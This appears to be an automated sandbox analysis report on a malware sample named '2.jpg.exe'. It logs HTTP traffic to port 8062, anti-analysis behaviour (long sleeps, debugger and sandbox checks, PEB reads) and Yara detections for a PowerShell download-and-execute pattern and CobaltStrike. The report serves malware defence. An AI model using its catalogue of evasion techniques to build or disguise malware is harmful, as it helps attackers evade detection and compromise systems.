Source: unknown Network traffic detected: HTTP traffic on port 49939 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49939
Source: unknown Network traffic detected: HTTP traffic on port 49940 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49940
Source: unknown Network traffic detected: HTTP traffic on port 49941 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49941
Source: unknown Network traffic detected: HTTP traffic on port 49942 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49942
Source: unknown Network traffic detected: HTTP traffic on port 49943 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49943
Source: unknown Network traffic detected: HTTP traffic on port 49944 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49944
Source: unknown Network traffic detected: HTTP traffic on port 49945 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49945
Source: unknown Network traffic detected: HTTP traffic on port 49946 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49946
Source: unknown Network traffic detected: HTTP traffic on port 49947 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49947
Source: unknown Network traffic detected: HTTP traffic on port 49948 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49948
Source: unknown Network traffic detected: HTTP traffic on port 49949 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49949
Source: unknown Network traffic detected: HTTP traffic on port 49950 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49950
Source: unknown Network traffic detected: HTTP traffic on port 49951 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49951
Source: unknown Network traffic detected: HTTP traffic on port 49952 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49952
Source: unknown Network traffic detected: HTTP traffic on port 49953 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49953
Source: unknown Network traffic detected: HTTP traffic on port 49954 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49954
Source: unknown Network traffic detected: HTTP traffic on port 49955 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49955
Source: unknown Network traffic detected: HTTP traffic on port 49956 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49956
Source: unknown Network traffic detected: HTTP traffic on port 49957 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49957
Source: unknown Network traffic detected: HTTP traffic on port 49958 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49958
Source: unknown Network traffic detected: HTTP traffic on port 49959 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49959
Source: unknown Network traffic detected: HTTP traffic on port 49960 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49960
Source: unknown Network traffic detected: HTTP traffic on port 49961 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49961
Source: unknown Network traffic detected: HTTP traffic on port 49962 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49962
Source: unknown Network traffic detected: HTTP traffic on port 49963 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49963
Source: unknown Network traffic detected: HTTP traffic on port 49964 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49964
Source: unknown Network traffic detected: HTTP traffic on port 49965 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49965
Source: unknown Network traffic detected: HTTP traffic on port 49966 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49966
Source: unknown Network traffic detected: HTTP traffic on port 49967 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49967
Source: unknown Network traffic detected: HTTP traffic on port 49968 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49968
Source: unknown Network traffic detected: HTTP traffic on port 49969 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49969
Source: unknown Network traffic detected: HTTP traffic on port 49970 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49970
Source: unknown Network traffic detected: HTTP traffic on port 49971 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49971
Source: unknown Network traffic detected: HTTP traffic on port 49972 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49972
Source: unknown Network traffic detected: HTTP traffic on port 49973 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49973
Source: unknown Network traffic detected: HTTP traffic on port 49974 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49974
Source: unknown Network traffic detected: HTTP traffic on port 49975 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49975
Source: unknown Network traffic detected: HTTP traffic on port 49976 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49976
Source: unknown Network traffic detected: HTTP traffic on port 49977 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49977
Source: unknown Network traffic detected: HTTP traffic on port 49978 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49978
Source: unknown Network traffic detected: HTTP traffic on port 49979 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49979
Source: unknown Network traffic detected: HTTP traffic on port 49980 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49980
Source: unknown Network traffic detected: HTTP traffic on port 49981 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49981
Source: unknown Network traffic detected: HTTP traffic on port 49982 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49982
Source: unknown Network traffic detected: HTTP traffic on port 49983 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49983
Source: unknown Network traffic detected: HTTP traffic on port 49984 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49984
Source: unknown Network traffic detected: HTTP traffic on port 49985 -> 8062
Source: unknown Network traffic detected: HTTP traffic on port 8062 -> 49985
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Contains functionality to detect sleep reduction / modifications
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06763303 0_2_06763303
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06766BE7 0_2_06766BE7
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\2.jpg.exe Memory allocated: 8F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Memory allocated: 2620000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Memory allocated: 4620000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 599324 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 599219 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 599109 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 599000 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 598891 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 598781 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 598672 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 598563 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 598438 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 598313 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 598203 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 598094 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 597969 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 597860 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 597735 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 597610 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 597485 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 597349 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 597235 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 597125 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 597001 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 596860 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 596750 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 596641 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 596516 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 596406 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 596297 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 596172 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 596063 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 595938 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 595828 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 595719 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\2.jpg.exe Window / User API: threadDelayed 7510 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Window / User API: threadDelayed 2311 Jump to behavior
Found decision node followed by non-executed suspicious APIs
Source: C:\Users\user\Desktop\2.jpg.exe Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)
Found evasive API chain (date check)
Source: C:\Users\user\Desktop\2.jpg.exe Evasive API call chain: GetLocalTime,DecisionNodes
Found large amount of non-executed APIs
Source: C:\Users\user\Desktop\2.jpg.exe API coverage: 6.7 %
May check if the current machine is a sandbox (GetTickCount - Sleep)
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06766BE7 0_2_06766BE7
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -23980767295822402s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -100000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7336 Thread sleep count: 7510 > 30 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7336 Thread sleep count: 2311 > 30 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -99875s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -99766s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -99657s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -99532s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -99407s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -99287s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -99953s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -99844s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -99719s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -99610s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -99453s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -599324s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -599219s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -599109s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -599000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -598891s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -598781s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -598672s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -598563s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -598438s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -598313s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -598203s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -598094s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -597969s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -597860s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -597735s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -597610s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -597485s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -597349s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -597235s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -597125s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -597001s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -596860s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -596750s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -596641s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7368 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -596516s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -596406s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -596297s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -596172s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -596063s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -595938s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -595828s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe TID: 7304 Thread sleep time: -595719s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_067647C9 _malloc,_memset,_strncmp,GetCurrentDirectoryA,FindFirstFileA,GetLastError,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose, 0_2_067647C9
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_067691F0 _malloc,__snprintf,FindFirstFileA,_malloc,__snprintf,FindNextFileA,FindClose, 0_2_067691F0
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 100000 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 99875 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 99766 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 99657 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 99532 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 99407 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 99287 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 99953 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 99844 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 99719 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 99610 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 99453 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 599324 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 599219 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 599109 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 599000 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 598891 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 598781 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 598672 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 598563 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 598438 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 598313 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 598203 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 598094 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 597969 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 597860 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 597735 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 597610 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 597485 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 597349 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 597235 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 597125 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 597001 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 596860 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 596750 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 596641 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 60000 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 596516 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 596406 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 596297 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 596172 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 596063 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 595938 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 595828 Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Thread delayed: delay time: 595719 Jump to behavior
Source: 2.jpg.exe, 00000000.00000002.4124429713.0000000000A17000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWP
Source: 2.jpg.exe, 00000000.00000002.4125543545.0000000005D0A000.00000004.00000020.00020000.00000000.sdmp, 2.jpg.exe, 00000000.00000002.4125543545.0000000005D16000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: C:\Users\user\Desktop\2.jpg.exe API call chain: ExitProcess graph end node
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_0677949D _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_0677949D
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06761FAA GetModuleHandleA,LoadLibraryA,GetProcAddress, 0_2_06761FAA
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06769641 mov eax, dword ptr fs:[00000030h] 0_2_06769641
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_0676A2E1 mov eax, dword ptr fs:[00000030h] 0_2_0676A2E1
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_0636971E mov eax, dword ptr fs:[00000030h] 0_2_0636971E
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06368A7E mov eax, dword ptr fs:[00000030h] 0_2_06368A7E
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06767E66 DeleteProcThreadAttributeList,GetProcessHeap,HeapFree, 0_2_06767E66
Enables debug privileges
Source: C:\Users\user\Desktop\2.jpg.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_0677F4F0 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_0677F4F0
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_0677949D _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_0677949D
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_0677D2CE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_0677D2CE
Source: C:\Users\user\Desktop\2.jpg.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: 2.jpg.exe PID: 7272, type: MEMORYSTR
Contains functionality to execute programs as a different user
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_0676B9E9 LogonUserA,GetLastError,ImpersonateLoggedOnUser,GetLastError, 0_2_0676B9E9
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_0676BBA5 GetCurrentProcessId,AllocateAndInitializeSid,CheckTokenMembership,FreeSid, 0_2_0676BBA5
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\Desktop\2.jpg.exe Code function: GetLocaleInfoA, 0_2_0678351D
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\2.jpg.exe Queries volume information: C:\Users\user\Desktop\2.jpg.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06763801 CreateNamedPipeA, 0_2_06763801
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06785E40 GetSystemTimeAsFileTime, 0_2_06785E40
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06766C99 GetUserNameA,GetComputerNameA,GetModuleFileNameA,_strrchr,GetVersionExA,__snprintf, 0_2_06766C99
Source: C:\Users\user\Desktop\2.jpg.exe Code function: 0_2_06766C99 GetUserNameA,GetComputerNameA,GetModuleFileNameA,_strrchr,GetVersionExA,__snprintf, 0_2_06766C99
Source: C:\Users\user\Desktop\2.jpg.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Remote Access Functionality
barindex
Yara detected CobaltStrike
Source: Yara match File source: Process Memory Space: 2.jpg.exe PID: 7272, type: MEMORYSTR
